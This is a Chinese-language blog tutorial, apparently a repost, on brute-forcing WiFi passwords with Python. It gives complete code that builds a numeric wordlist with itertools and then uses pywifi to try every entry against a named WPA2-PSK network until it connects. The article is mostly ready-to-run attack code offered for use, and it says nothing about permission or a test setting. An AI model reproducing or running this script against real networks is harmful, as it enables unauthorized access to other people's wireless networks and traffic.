Python暴力破解wifi密碼


今天給大家分享一個使用Python破解WiFi密碼的代碼,這個代碼也是非常簡單,這里需要用Python中的pywifi這個庫,所以需要在DOS命令下安裝這個庫,同樣使用pip install pywifi,很簡單就安裝成功了,我用的是Python3,所以各位看的時候需要注意這一點。接下來我們一步一步分析主要代碼,后面同樣附上完整的代碼。對了,需要注意一點,就是電腦必須是要用無線網卡的。

密碼本

 對於這個密碼本就是我們常用的密碼,一般是有數字、字母和符號組成。而現在呢?我們就用Python生成一個簡單的密碼本,這里用到的思路主要是窮舉法。這里用到的庫是itertools,沒有的可以使用pip install itertools在DOS命令下安裝,這個密碼本生成很簡單,就是幾行代碼而已。

這里使用一個迭代器,就是我們需要生成密碼所有的字符,可以是數字,符號和字母,我這里采用的是純數字,是為了方便和節約時間。

words="1234567890"

   ​ 下面就是生成密碼的位數,但是這里要注意的是這個要考慮到電腦的配置,我生成七位的密碼花了十多分鍾,生成的文件大小約有85M,所以大家根據情況生成。

r=its.product(words,repeat=4)

    ​ 因此生成的密碼一般是字符串,而我之前生成的是單個的字符,所以我采用join,使用空格鏈接。

dic.write("".join(i))

 ​ 好了,記下來就是完整的代碼:

import itertools as its
 
#迭代器
words="1234567890"
#生成密碼本的位數,五位數,repeat=5
r=its.product(words,repeat=3)
#保存在文件中,追加
dic=open("./password.txt","a")
#i是元組
for i in r:
    #jion空格鏈接
    dic.write("".join(i))
    dic.write("".join("\n"))
    print(i)
dic.close()
print("密碼本已生成")

    這里只是提供一種自動生成密碼本的方法,對於密碼本,可以選擇從網上下載

暴力破解wifi密碼

首先我們需要判斷電腦是否已經連接wifi,創建一個無線對象,獲取無線網卡。

    wifi=pywifi.PyWiFi()
    #獲取無線網卡
    ifaces=wifi.interfaces()[0]
    print(ifaces)


下面就是效果,但是它返回的是一個對象

使用這行代碼就可以獲取電腦無線網卡的名稱:

 print(ifaces.name())

這個就是我的無線網卡

要判斷是否連接WiFi,我們需要導入一個常量庫:

from pywifi import const

看,這個庫里面就顯示了接口是否連接對於的常量

創建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開發狀態,查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。代碼如下:

 profile=pywifi.Profile()
        #要連接WiFi的名稱
        profile.ssid="jiayi"
        #網卡的開放狀態
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法為was
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密單元
        profile.cipher=const.CIPHER_TYPE_CCMP

刪除所有連接過的wifi文件,重新設定新的連接文件,設置wifi連接時間,判斷wifi是否連接,若連接,返回4,未連接,返回0.

#刪除所有連接過的wifi文件
        ifaces.remove_all_network_profiles()
        #設定新的連接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi連接時間
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False

接下來我們就需要一個密碼本,然后采用只讀的方式,一行一行讀取,這里的密碼本可以用我上次分享的那個,也用去網上下載一個常用wifi密碼,只要是TXT文本就可以。 

   #密碼本路徑
    path="C:/Users/ASUS/Desktop/password.txt"
    #打開文件
    file=open(path,"r")
    while True:
        try:
            #一行一行讀取
            pad=file.readline()


好了,接下來就是完整的代碼和效果圖。

# coding:utf-8
import pywifi
from pywifi import const
import time
 
#測試連接,返回鏈接結果
def wifiConnect(pwd):
    #抓取網卡接口
    wifi=pywifi.PyWiFi()
    #獲取第一個無線網卡
    ifaces=wifi.interfaces()[0]
    #斷開所有連接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #創建WiFi連接文件
        profile=pywifi.Profile()
        #要連接WiFi的名稱
        profile.ssid="jiayi"
        #網卡的開放狀態
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法為wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密單元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #調用密碼
        profile.key=pwd
        #刪除所有連接過的wifi文件
        ifaces.remove_all_network_profiles()
        #設定新的連接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi連接時間
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi連接") 
 
#讀取密碼本
def readPassword():
    print("開始破解:")
    #密碼本路徑
    path="C:/Users/ASUS/Desktop/password.txt"
    #打開文件
    file=open(path,"r")
    while True:
        try:
            #一行一行讀取
            pad=file.readline()
            bool=wifiConnect(pad)
            
            if bool:
                print("密碼已破解: ",pad)
                print("WiFi已自動連接!!!")
                break
            else:
                #跳出當前循環,進行下一次循環
                print("密碼破解中....密碼校對: ",pad)
        except:
            continue
readPassword()

運行結果如下:

 

本文參考:https://blog.csdn.net/zjy18886018024/article/details/84846843
                  https://blog.csdn.net/qq_41841569/article/details/90402810


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM